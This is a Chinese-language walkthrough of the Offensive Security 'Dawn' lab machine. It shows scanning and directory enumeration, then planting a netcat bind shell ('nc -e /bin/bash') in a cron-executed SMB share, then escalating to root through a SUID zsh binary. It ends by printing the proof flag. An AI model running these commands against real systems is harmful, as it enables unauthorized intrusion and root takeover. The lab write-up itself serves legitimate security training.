6. Dawn靶机

【offensive-security】6.Dawn靶机

image.png

一、获取靶机信息

1.已知信息：

• IP: 192.168.245.11

2.获取信息：

• nmap扫描开启的服务

┌──(lo0p㉿0xlo0p)-[~]
└─$ nmap -sV 192.168.245.11                      
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-27 16:29 CST
Nmap scan report for 192.168.245.11
Host is up (0.27s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.38 ((Debian))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1
Service Info: Host: DAWN

开了80端口，smb服务，3306数据库服务

3. web服务目录爆破

┌──(lo0p㉿0xlo0p)-[~]
└─$ dirsearch -u 192.168.245.11        

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/lo0p/.dirsearch/reports/192.168.245.11_22-10-27_16-16-54.txt

Error Log: /home/lo0p/.dirsearch/logs/errors-22-10-27_16-16-54.log

Target: http://192.168.245.11/

[16:16:54] Starting: 
[16:17:09] 403 -  300B  - /.ht_wsr.txt                                     
[16:17:09] 403 -  303B  - /.htaccess.bak1
[16:17:09] 403 -  303B  - /.htaccess.orig
[16:17:09] 403 -  305B  - /.htaccess.sample
[16:17:09] 403 -  304B  - /.htaccess_extra
[16:17:09] 403 -  303B  - /.htaccess.save
[16:17:09] 403 -  303B  - /.htaccess_orig
[16:17:09] 403 -  301B  - /.htaccess_sc
[16:17:09] 403 -  301B  - /.htaccessBAK
[16:17:09] 403 -  302B  - /.htaccessOLD2
[16:17:09] 403 -  301B  - /.htaccessOLD
[16:17:09] 403 -  293B  - /.htm                                            
[16:17:09] 403 -  294B  - /.html
[16:17:09] 403 -  303B  - /.htpasswd_test
[16:17:09] 403 -  299B  - /.htpasswds
[16:17:09] 403 -  300B  - /.httr-oauth
[16:17:12] 403 -  293B  - /.php                                            
[16:18:13] 200 -  791B  - /index.html                                       
[16:18:20] 301 -  315B  - /logs  ->  http://192.168.245.11/logs/            
[16:18:20] 403 -  303B  - /logs/error.log                                   
[16:18:20] 200 -    2KB - /logs/                                            
[16:18:40] 403 -  302B  - /server-status                                    
[16:18:40] 403 -  303B  - /server-status/
                                                                             
Task Completed

发现了logs目录页面：

image.png

查看management.log，发现靶机上有个定时任务会执行protuct-control和web-control文件

image.png

4.smb上传脚本开启反弹shell

┌──(lo0p㉿0xlo0p)-[~]
└─$ smbclient -L 192.168.245.11        
Enter WORKGROUP\lo0p's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        ITDEPT          Disk      PLEASE DO NOT REMOVE THIS SHARE. IN CASE YOU ARE NOT AUTHORIZED TO USE THIS SYSTEM LEAVE IMMEADIATELY.
        IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            WIN2K3STDVIC

在smb上发现了定时执行的目录ITDEPT，我们创建product-control和web-control并上传，等待他执行

┌──(lo0p㉿0xlo0p)-[~]
└─$ echo "nc -e /bin/bash -lvp 8888 &" > product-control
                                                                                                                                                                                                                                            
┌──(lo0p㉿0xlo0p)-[~]
└─$ echo "nc -e /bin/bash -lvp 8888 &" > web-control

5.提权

┌──(lo0p㉿0xlo0p)-[~]
└─$ nc 192.168.245.11 8888
python -c 'import pty;pty.spawn("/bin/bash")'
dawn@dawn:~$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/sbin/mount.cifs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/zsh
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/chfn
/home/dawn/ITDEPT

连上反弹shell后我们查找具有SUID的可执行文件，发现了zsh，zsh是一个shell工具，和bash类似，直接执行zsh可以让我们获取root权限

dawn@dawn:~$ /usr/bin/zsh
/usr/bin/zsh
dawn# whoami                                                                   
whoami
root
dawn# cd /root                                                                 
cd /root
dawn# ls                                                                       
ls
flag.txt  proof.txt
dawn# cat flag.txt                                                             
cat flag.txt
Your flag is in another file...
dawn# cat proof.txt                                                            
cat proof.txt
3c477716017a3851f73cdb744e3d9fb7